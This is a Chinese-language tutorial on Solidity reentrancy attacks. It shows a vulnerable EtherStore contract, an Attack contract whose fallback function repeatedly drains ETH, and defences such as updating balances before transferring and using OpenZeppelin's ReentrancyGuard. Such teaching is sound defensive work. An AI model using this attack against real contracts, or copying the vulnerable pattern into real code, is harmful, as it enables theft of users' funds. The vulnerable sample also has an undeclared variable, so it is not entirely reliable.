【合约安全】重入(Reentrancy)攻击

前言

重入(Reentrancy)攻击是合约攻击中比较常见的攻击手段。黑客利用自己攻击合约中的 fallback() 函数和多余的gas将合约中本不属于自己的 ETH 转走。

fallback()

fallback函数,回退函数,是合约里的特殊无名函数,有且仅有一个。
  1. 它在合约调用没有匹配到函数签名被调用;
  2. 调用(call, send, transfer)没有带任何数据时被自动调用;
第一种情况多见于函数调用错误,第二种情况多见于原生币(链币)转账。 我们再来看看官方文档的内容:
如果在一个对合约调用中,没有其他函数与给定的函数标识符匹配fallback会被调用. 或者在没有 receive 函数时,而没有提供附加数据对合约调用,那么fallback 函数会被执行。
也就是说,攻击合约不需要实现 receive,只需要将攻击逻辑写在 fallback 中就可以实现每次 eth 转账后,执行重入攻击逻辑

合约示例

假设我们有两个合约:存储 eth 的合约、攻击合约。
  • EtherStore.sol
// 假设每个人可以像合约里存储 ETH,每次取款至少为 1 ETH。
contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
    	// 5. 因为攻击者的 balance 值没有变化,所以继续执行2.
        require(balances[msg.sender] >= _weiToWithdraw);
        require(_weiToWithdraw <= withdrawalLimit);
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        
        // 2. Transfer ETH
        require(msg.sender.call.value(_weiToWithdraw)());
        // 这行代码不会被执行
        balances[msg.sender] -= _weiToWithdraw;
    }
 }
针对这个合约,攻击者可以不执行 balances[msg.sender] -= _weiToWithdraw;,利用 fallback 函数在攻击合约中将所有 eth 转走。
  • Attack.sol
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // 这里的地址就是 EtherStore 的地址
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }
  
  function pwnEtherStore() public payable {
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // 1. 调用取款函数,取回1个 ETH
      etherStore.withdrawFunds(1 ether);
  }
  
  function collectEther() public {
      msg.sender.transfer(this.balance);
  }
    
  // 3. EtherStore 完成转账后,自动调用 fallback,执行其中逻辑。
  function () payable {
      if (etherStore.balance > 1 ether) {
      	  // 4. 继续调用取款函数,取回1个 ETH
          etherStore.withdrawFunds(1 ether);
      }
  }
}
我们回顾一下上面的步骤从1-5,就能理解重入攻击的原理了。

如何防范

我们发现,重入攻击者是利用合约先转账后赋值,导致函数逻辑未执行完成的漏洞进行攻击的。自然的,我们就有两种防范方法:
  • 先赋值后转账 对于 EtherStore 的 withdraw 函数做如下更改
    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        require(_weiToWithdraw <= withdrawalLimit);
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        
        // 这里改为先赋值,再转账,等于重入第二次的时候,攻击者账目上钱就是减少后的。
        balances[msg.sender] -= _weiToWithdraw;
        require(msg.sender.call.value(_weiToWithdraw)());
    }
  • 创建公有变量,记录每个 caller 进出函数的情况。
这个的原理是记录调用者(caller)的进出记录,检查有没有完整的执行函数逻辑。如果攻击者只有进记录,没有出记录,那么很有可能是在进行重入攻击。 我们常用的 Openzeppelin 就是使用的这个方法来防止重入攻击的,具体可以参考: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/security/ReentrancyGuard.sol 参考文章: https://www.jianshu.com/p/601c9e759281